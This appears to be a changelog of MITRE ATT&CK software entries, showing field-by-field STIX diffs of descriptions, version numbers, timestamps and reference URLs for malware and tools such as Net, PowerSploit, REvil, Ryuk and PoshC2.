| > | hich is useful for an adversary, such as gathering system an | > | hich is useful for an adversary, such as gathering system an | ||
| > | d network information for Discovery, moving laterally throug | > | d network information for Discovery, moving laterally throug | ||
| > | h [Windows Admin Shares](https://attack.mitre.org/techniques | > | h [SMB/Windows Admin Shares](https://attack.mitre.org/techni | ||
| > | /T1077) using <code>net use</code> commands, and interacting | > | ques/T1021/002) using <code>net use</code> commands, and int | ||
| > | with services. The net1.exe utility is executed for certain | > | eracting with services. The net1.exe utility is executed for | ||
| > | functionality when net.exe is run and can be used directly | > | certain functionality when net.exe is run and can be used d | ||
| > | in commands such as <code>net1 user</code>. | > | irectly in commands such as <code>net1 user</code>. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-19 13:14:50.240000+00:00 | 2021-10-15 20:33:54.392000+00:00 |
| description | The [Net](https://attack.mitre.org/software/S0039) utility is a component of the Windows operating system. It is used in command-line operations for control of users, groups, services, and network connections. (Citation: Microsoft Net Utility)
[Net](https://attack.mitre.org/software/S0039) has a great deal of functionality, (Citation: Savill 1999) much of which is useful for an adversary, such as gathering system and network information for Discovery, moving laterally through [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) using net use commands, and interacting with services. The net1.exe utility is executed for certain functionality when net.exe is run and can be used directly in commands such as net1 user. | The [Net](https://attack.mitre.org/software/S0039) utility is a component of the Windows operating system. It is used in command-line operations for control of users, groups, services, and network connections. (Citation: Microsoft Net Utility)
[Net](https://attack.mitre.org/software/S0039) has a great deal of functionality, (Citation: Savill 1999) much of which is useful for an adversary, such as gathering system and network information for Discovery, moving laterally through [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) using net use commands, and interacting with services. The net1.exe utility is executed for certain functionality when net.exe is run and can be used directly in commands such as net1 user. |
| x_mitre_version | 2.1 | 2.3 |
Current version: 2.1
Version changed from: 1.2 → 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) | t | 1 | [OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) |
| > | is a MacOS backdoor that has been used by [APT32](https://at | > | is a MacOS backdoor with several variants that has been used | ||
| > | tack.mitre.org/groups/G0050).(Citation: TrendMicro MacOS Apr | > | by [APT32](https://attack.mitre.org/groups/G0050).(Citation | ||
| > | il 2018) | > | : TrendMicro MacOS April 2018)(Citation: Trend Micro MacOS B | ||
| > | ackdoor November 2020) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/ |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-23 20:11:11.730000+00:00 | 2021-10-15 01:59:21.279000+00:00 |
| description | [OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) is a MacOS backdoor that has been used by [APT32](https://attack.mitre.org/groups/G0050).(Citation: TrendMicro MacOS April 2018) | [OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) is a MacOS backdoor with several variants that has been used by [APT32](https://attack.mitre.org/groups/G0050).(Citation: TrendMicro MacOS April 2018)(Citation: Trend Micro MacOS Backdoor November 2020) |
| external_references[2]['source_name'] | TrendMicro MacOS April 2018 | Backdoor.MacOS.OCEANLOTUS.F |
| external_references[2]['description'] | Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018. | (Citation: Trend Micro MacOS Backdoor November 2020) |
| x_mitre_version | 1.2 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'TrendMicro MacOS April 2018', 'description': 'Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/'} | |
| external_references | {'source_name': 'Trend Micro MacOS Backdoor November 2020', 'description': 'Magisa, L. (2020, November 27). New MacOS Backdoor Connected to OceanLotus Surfaces. Retrieved December 2, 2020.', 'url': 'https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html'} | |
| x_mitre_aliases | Backdoor.MacOS.OCEANLOTUS.F |
Current version: 1.3
Version changed from: 1.1 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 13:56:40.675000+00:00 | 2021-10-16 01:58:17.100000+00:00 |
| external_references[5]['url'] | http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf | https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf |
| x_mitre_version | 1.1 | 1.3 |
Current version: 1.4
Version changed from: 1.2 → 1.4
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [PowerSploit](https://attack.mitre.org/software/S0194) is an | t | 1 | [PowerSploit](https://attack.mitre.org/software/S0194) is an |
| > | open source, offensive security framework comprised of [Pow | > | open source, offensive security framework comprised of [Pow | ||
| > | erShell](https://attack.mitre.org/techniques/T1086) modules | > | erShell](https://attack.mitre.org/techniques/T1059/001) modu | ||
| > | and scripts that perform a wide range of tasks related to pe | > | les and scripts that perform a wide range of tasks related t | ||
| > | netration testing such as code execution, persistence, bypas | > | o penetration testing such as code execution, persistence, b | ||
| > | sing anti-virus, recon, and exfiltration. (Citation: GitHub | > | ypassing anti-virus, recon, and exfiltration. (Citation: Git | ||
| > | PowerSploit May 2012) (Citation: PowerShellMagazine PowerSpl | > | Hub PowerSploit May 2012) (Citation: PowerShellMagazine Powe | ||
| > | oit July 2014) (Citation: PowerSploit Documentation) | > | rSploit July 2014) (Citation: PowerSploit Documentation) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 21:37:30.172000+00:00 | 2021-10-05 01:24:41.497000+00:00 |
| description | [PowerSploit](https://attack.mitre.org/software/S0194) is an open source, offensive security framework comprised of [PowerShell](https://attack.mitre.org/techniques/T1086) modules and scripts that perform a wide range of tasks related to penetration testing such as code execution, persistence, bypassing anti-virus, recon, and exfiltration. (Citation: GitHub PowerSploit May 2012) (Citation: PowerShellMagazine PowerSploit July 2014) (Citation: PowerSploit Documentation) | [PowerSploit](https://attack.mitre.org/software/S0194) is an open source, offensive security framework comprised of [PowerShell](https://attack.mitre.org/techniques/T1059/001) modules and scripts that perform a wide range of tasks related to penetration testing such as code execution, persistence, bypassing anti-virus, recon, and exfiltration. (Citation: GitHub PowerSploit May 2012) (Citation: PowerShellMagazine PowerSploit July 2014) (Citation: PowerSploit Documentation) |
| x_mitre_version | 1.2 | 1.4 |
Current version: 1.2
Version changed from: 1.0 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-05 15:52:54.596000+00:00 | 2021-08-18 19:38:51.122000+00:00 |
| external_references[2]['description'] | (Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: G Data Sodinokibi June 2019)(Citation: Kaspersky Sodin July 2019)(Citation: Cylance Sodinokibi July 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: Talos Sodinokibi April 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: McAfee REvil October 2019)(Citation: Picus Sodinokibi January 2020)(Citation: Secureworks REvil September 2019) | (Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: G Data Sodinokibi June 2019)(Citation: Kaspersky Sodin July 2019)(Citation: Cylance Sodinokibi July 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: Talos Sodinokibi April 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: McAfee REvil October 2019)(Citation: Picus Sodinokibi January 2020)(Citation: Secureworks REvil September 2019)(Citation: Tetra Defense Sodinokibi March 2020) |
| external_references[4]['url'] | https://blog.intel471.com/2020/03/31/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/ | https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/ |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Tetra Defense Sodinokibi March 2020', 'description': 'Tetra Defense. (2020, March). CAUSE AND EFFECT: SODINOKIBI RANSOMWARE ANALYSIS. Retrieved December 14, 2020.', 'url': 'https://www.tetradefense.com/incident-response-services/cause-and-effect-sodinokibi-ransomware-analysis'} |
Current version: 1.2
Version changed from: 1.0 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['The DFIR Report, @TheDFIRReport', 'Matt Brenton, Zurich Insurance Group'] |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/ |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-18 21:37:40.600000+00:00 | 2021-08-18 19:31:22.741000+00:00 |
| external_references[1]['source_name'] | CrowdStrike Ryuk January 2019 | Ryuk |
| external_references[1]['description'] | Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020. | (Citation: CrowdStrike Ryuk January 2019) (Citation: Bleeping Computer - Ryuk WoL) |
| external_references[2]['source_name'] | FireEye Ryuk and Trickbot January 2019 | CrowdStrike Ryuk January 2019 |
| external_references[2]['description'] | Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020. | Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020. |
| external_references[2]['url'] | https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html | https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/ |
| external_references[3]['source_name'] | FireEye FIN6 Apr 2019 | FireEye Ryuk and Trickbot January 2019 |
| external_references[3]['description'] | McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019. | Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020. |
| external_references[3]['url'] | https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html | https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'FireEye FIN6 Apr 2019', 'description': 'McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.', 'url': 'https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html'} | |
| external_references | {'source_name': 'Bleeping Computer - Ryuk WoL', 'description': 'Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021.', 'url': 'https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/'} |
Current version: 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 18:22:52.183000+00:00 | 2021-06-21 12:32:12.581000+00:00 |
Current version: 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 15:22:05.356000+00:00 | 2021-02-09 14:06:12.720000+00:00 |
Current version: 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [BOOTRASH](https://attack.mitre.org/software/S0114) is a [Bo | t | 1 | [BOOTRASH](https://attack.mitre.org/software/S0114) is a [Bo |
| > | otkit](https://attack.mitre.org/techniques/T1067) that targe | > | otkit](https://attack.mitre.org/techniques/T1542/003) that t | ||
| > | ts Windows operating systems. It has been used by threat act | > | argets Windows operating systems. It has been used by threat | ||
| > | ors that target the financial sector.(Citation: Mandiant M T | > | actors that target the financial sector.(Citation: Mandiant | ||
| > | rends 2016)(Citation: FireEye Bootkits)(Citation: FireEye BO | > | M Trends 2016)(Citation: FireEye Bootkits)(Citation: FireEy | ||
| > | OTRASH SANS) | > | e BOOTRASH SANS) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-29 01:35:30.160000+00:00 | 2021-06-09 18:58:41.760000+00:00 |
| description | [BOOTRASH](https://attack.mitre.org/software/S0114) is a [Bootkit](https://attack.mitre.org/techniques/T1067) that targets Windows operating systems. It has been used by threat actors that target the financial sector.(Citation: Mandiant M Trends 2016)(Citation: FireEye Bootkits)(Citation: FireEye BOOTRASH SANS) | [BOOTRASH](https://attack.mitre.org/software/S0114) is a [Bootkit](https://attack.mitre.org/techniques/T1542/003) that targets Windows operating systems. It has been used by threat actors that target the financial sector.(Citation: Mandiant M Trends 2016)(Citation: FireEye Bootkits)(Citation: FireEye BOOTRASH SANS) |
| x_mitre_contributors[0] | Christopher Glyer, FireEye, @cglyer | Christopher Glyer, Mandiant, @cglyer |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2018-10-17 00:14:20.652000+00:00 | 2021-02-09 14:56:14.671000+00:00 |
| external_references[2]['url'] | http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf | https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:46:57.986000+00:00 | 2021-04-01 16:03:31.574000+00:00 |
| external_references[5]['url'] | https://www.fox-it.com/en/about-fox-it/corporate/news/anunak-aka-carbanak-update/ | https://www.fox-it.com/en/news/blog/anunak-aka-carbanak-update/ |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-17 23:40:44.651000+00:00 | 2021-02-09 14:51:14.620000+00:00 |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-14 15:14:33.332000+00:00 | 2021-04-27 19:53:40.705000+00:00 |
Current version: 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-08-13 15:23:35.947000+00:00 | 2020-11-24 20:15:54.954000+00:00 |
Current version: 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 16:45:38.272000+00:00 | 2021-02-09 13:58:23.806000+00:00 |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-13 22:56:22.295000+00:00 | 2021-02-09 14:57:16.085000+00:00 |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 16:50:01.217000+00:00 | 2021-01-06 19:32:28.374000+00:00 |
| external_references[5]['url'] | http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf | https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-23 00:20:31.733000+00:00 | 2021-10-12 19:21:39.068000+00:00 |
| external_references[2]['description'] | Falcone, R. and Lancaster, T.. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019. | Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019. |
Current version: 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-27 20:55:47.638000+00:00 | 2021-02-09 14:04:15.433000+00:00 |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 16:57:00.081000+00:00 | 2021-01-06 19:32:28.394000+00:00 |
| external_references[2]['url'] | http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf | https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf |
Current version: 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 16:57:31.004000+00:00 | 2020-12-22 15:46:17.965000+00:00 |
| external_references[1]['source_name'] | Linux Rabbit | anomali-linux-rabbit |
| external_references[1]['description'] | (Citation: Anomali Linux Rabbit 2018) | Anomali Threat Research. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved December 17, 2020. |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2018-10-17 00:14:20.652000+00:00 | 2021-01-06 19:32:28.371000+00:00 |
| external_references[3]['url'] | http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf | https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2018-10-17 00:14:20.652000+00:00 | 2021-01-06 19:32:28.182000+00:00 |
| external_references[2]['url'] | http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf | https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 17:11:08.175000+00:00 | 2021-04-21 16:41:34.225000+00:00 |
| external_references[1]['url'] | https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf | https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf |
Current version: 2.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 17:13:56.470000+00:00 | 2021-02-09 15:04:49.088000+00:00 |
Current version: 2.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-25 22:31:02.691000+00:00 | 2021-02-09 14:07:10.907000+00:00 |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 17:20:41.436000+00:00 | 2021-01-06 19:32:28.265000+00:00 |
| external_references[2]['url'] | http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf | https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf |
Current version: 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [PoshC2](https://attack.mitre.org/software/S0378) is an open | t | 1 | [PoshC2](https://attack.mitre.org/software/S0378) is an open |
| > | source remote administration and post-exploitation framewor | > | source remote administration and post-exploitation framewor | ||
| > | k that is publicly available on GitHub. The server-side comp | > | k that is publicly available on GitHub. The server-side comp | ||
| > | onents of the tool are primarily written in Python, while th | > | onents of the tool are primarily written in Python, while th | ||
| > | e implants are written in [PowerShell](https://attack.mitre. | > | e implants are written in [PowerShell](https://attack.mitre. | ||
| > | org/techniques/T1086). Although [PoshC2](https://attack.mitr | > | org/techniques/T1059/001). Although [PoshC2](https://attack. | ||
| > | e.org/software/S0378) is primarily focused on Windows implan | > | mitre.org/software/S0378) is primarily focused on Windows im | ||
| > | tation, it does contain a basic Python dropper for Linux/mac | > | plantation, it does contain a basic Python dropper for Linux | ||
| > | OS.(Citation: GitHub PoshC2) | > | /macOS.(Citation: GitHub PoshC2) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 02:37:23.626000+00:00 | 2021-02-09 13:59:23.129000+00:00 |
| description | [PoshC2](https://attack.mitre.org/software/S0378) is an open source remote administration and post-exploitation framework that is publicly available on GitHub. The server-side components of the tool are primarily written in Python, while the implants are written in [PowerShell](https://attack.mitre.org/techniques/T1086). Although [PoshC2](https://attack.mitre.org/software/S0378) is primarily focused on Windows implantation, it does contain a basic Python dropper for Linux/macOS.(Citation: GitHub PoshC2) | [PoshC2](https://attack.mitre.org/software/S0378) is an open source remote administration and post-exploitation framework that is publicly available on GitHub. The server-side components of the tool are primarily written in Python, while the implants are written in [PowerShell](https://attack.mitre.org/techniques/T1059/001). Although [PoshC2](https://attack.mitre.org/software/S0378) is primarily focused on Windows implantation, it does contain a basic Python dropper for Linux/macOS.(Citation: GitHub PoshC2) |
Current version: 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [PowerStallion](https://attack.mitre.org/software/S0393) is | t | 1 | [PowerStallion](https://attack.mitre.org/software/S0393) is |
| > | a lightweight [PowerShell](https://attack.mitre.org/techniqu | > | a lightweight [PowerShell](https://attack.mitre.org/techniqu | ||
| > | es/T1086) backdoor used by [Turla](https://attack.mitre.org/ | > | es/T1059/001) backdoor used by [Turla](https://attack.mitre. | ||
| > | groups/G0010), possibly as a recovery access tool to install | > | org/groups/G0010), possibly as a recovery access tool to ins | ||
| > | other backdoors.(Citation: ESET Turla PowerShell May 2019) | > | tall other backdoors.(Citation: ESET Turla PowerShell May 20 | ||
| > | 19) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 17:22:45.321000+00:00 | 2021-02-09 14:05:19.246000+00:00 |
| description | [PowerStallion](https://attack.mitre.org/software/S0393) is a lightweight [PowerShell](https://attack.mitre.org/techniques/T1086) backdoor used by [Turla](https://attack.mitre.org/groups/G0010), possibly as a recovery access tool to install other backdoors.(Citation: ESET Turla PowerShell May 2019) | [PowerStallion](https://attack.mitre.org/software/S0393) is a lightweight [PowerShell](https://attack.mitre.org/techniques/T1059/001) backdoor used by [Turla](https://attack.mitre.org/groups/G0010), possibly as a recovery access tool to install other backdoors.(Citation: ESET Turla PowerShell May 2019) |
Current version: 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [ROCKBOOT](https://attack.mitre.org/software/S0112) is a [Bo | t | 1 | [ROCKBOOT](https://attack.mitre.org/software/S0112) is a [Bo |
| > | otkit](https://attack.mitre.org/techniques/T1067) that has b | > | otkit](https://attack.mitre.org/techniques/T1542/003) that h | ||
| > | een used by an unidentified, suspected China-based group. (C | > | as been used by an unidentified, suspected China-based group | ||
| > | itation: FireEye Bootkits) | > | . (Citation: FireEye Bootkits) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 17:39:16.351000+00:00 | 2021-02-09 15:16:26.188000+00:00 |
| description | [ROCKBOOT](https://attack.mitre.org/software/S0112) is a [Bootkit](https://attack.mitre.org/techniques/T1067) that has been used by an unidentified, suspected China-based group. (Citation: FireEye Bootkits) | [ROCKBOOT](https://attack.mitre.org/software/S0112) is a [Bootkit](https://attack.mitre.org/techniques/T1542/003) that has been used by an unidentified, suspected China-based group. (Citation: FireEye Bootkits) |
Current version: 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Reaver](https://attack.mitre.org/software/S0172) is a malwa | t | 1 | [Reaver](https://attack.mitre.org/software/S0172) is a malwa |
| > | re family that has been in the wild since at least late 2016 | > | re family that has been in the wild since at least late 2016 | ||
| > | . Reporting indicates victims have primarily been associated | > | . Reporting indicates victims have primarily been associated | ||
| > | with the "Five Poisons," which are movements the Chinese go | > | with the "Five Poisons," which are movements the Chinese go | ||
| > | vernment considers dangerous. The type of malware is rare du | > | vernment considers dangerous. The type of malware is rare du | ||
| > | e to its final payload being in the form of [Control Panel I | > | e to its final payload being in the form of [Control Panel]( | ||
| > | tems](https://attack.mitre.org/techniques/T1196). (Citation: | > | https://attack.mitre.org/techniques/T1218/002) items.(Citati | ||
| > | Palo Alto Reaver Nov 2017) | > | on: Palo Alto Reaver Nov 2017) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 17:41:10.175000+00:00 | 2021-02-09 15:02:42.727000+00:00 |
| description | [Reaver](https://attack.mitre.org/software/S0172) is a malware family that has been in the wild since at least late 2016. Reporting indicates victims have primarily been associated with the "Five Poisons," which are movements the Chinese government considers dangerous. The type of malware is rare due to its final payload being in the form of [Control Panel Items](https://attack.mitre.org/techniques/T1196). (Citation: Palo Alto Reaver Nov 2017) | [Reaver](https://attack.mitre.org/software/S0172) is a malware family that has been in the wild since at least late 2016. Reporting indicates victims have primarily been associated with the "Five Poisons," which are movements the Chinese government considers dangerous. The type of malware is rare due to its final payload being in the form of [Control Panel](https://attack.mitre.org/techniques/T1218/002) items.(Citation: Palo Alto Reaver Nov 2017) |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2018-10-17 00:14:20.652000+00:00 | 2021-08-23 20:25:18.606000+00:00 |
| external_references[2]['url'] | http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html | https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:14:02.011000+00:00 | 2021-04-26 17:40:17.009000+00:00 |
Current version: 2.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-15 14:24:52.969000+00:00 | 2021-02-09 13:42:15.121000+00:00 |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:20:01.325000+00:00 | 2021-02-09 15:25:33.116000+00:00 |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:21:44.275000+00:00 | 2021-04-21 16:41:34.655000+00:00 |
| external_references[1]['url'] | https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf | https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:26:35.490000+00:00 | 2021-01-06 19:32:28.278000+00:00 |
| external_references[2]['url'] | http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf | https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-09 19:41:25.983000+00:00 | 2021-03-22 18:45:19.504000+00:00 |
| x_mitre_contributors[0] | Daniyal Naeem | Daniyal Naeem, BT Security |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:27:31.495000+00:00 | 2021-01-06 19:32:28.378000+00:00 |
| external_references[2]['url'] | http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf | https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-26 13:33:42.533000+00:00 | 2021-10-15 06:31:19.173000+00:00 |
Current version: 2.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-23 19:55:49.493000+00:00 | 2021-01-25 15:43:45.842000+00:00 |
| external_references[13]['url'] | https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf | https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools |
Current version: 1.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2018-10-17 00:14:20.652000+00:00 | 2021-02-09 23:00:38.683000+00:00 |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:40:56.558000+00:00 | 2021-03-29 19:54:46.007000+00:00 |
| external_references[2]['url'] | https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/ | https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/ |
Current version: 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 18:41:33.050000+00:00 | 2021-06-16 15:50:05.015000+00:00 |
| external_references[2]['url'] | https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf | https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Get2](https://attack.mitre.org/software/S0460) is a downloa | t | 1 | [Get2](https://attack.mitre.org/software/S0460) is a downloa |
| > | der written in C++ that has been used by [TA505](https://att | > | der written in C++ that has been used by [TA505](https://att | ||
| > | ack.mitre.org/groups/G0092) to deliver [FlawedGrace](https:/ | > | ack.mitre.org/groups/G0092) to deliver [FlawedGrace](https:/ | ||
| > | /attack.mitre.org/software/S0383), [FlawedAmmyy](https://att | > | /attack.mitre.org/software/S0383), [FlawedAmmyy](https://att | ||
| > | ack.mitre.org/software/S0381), Snatch and [SDBot](https://at | > | ack.mitre.org/software/S0381), Snatch and [SDBbot](https://a | ||
| > | tack.mitre.org/software/S0461).(Citation: Proofpoint TA505 O | > | ttack.mitre.org/software/S0461).(Citation: Proofpoint TA505 | ||
| > | ctober 2019) | > | October 2019) | ||
| STIX Field | Old value | New Value |
|---|---|---|
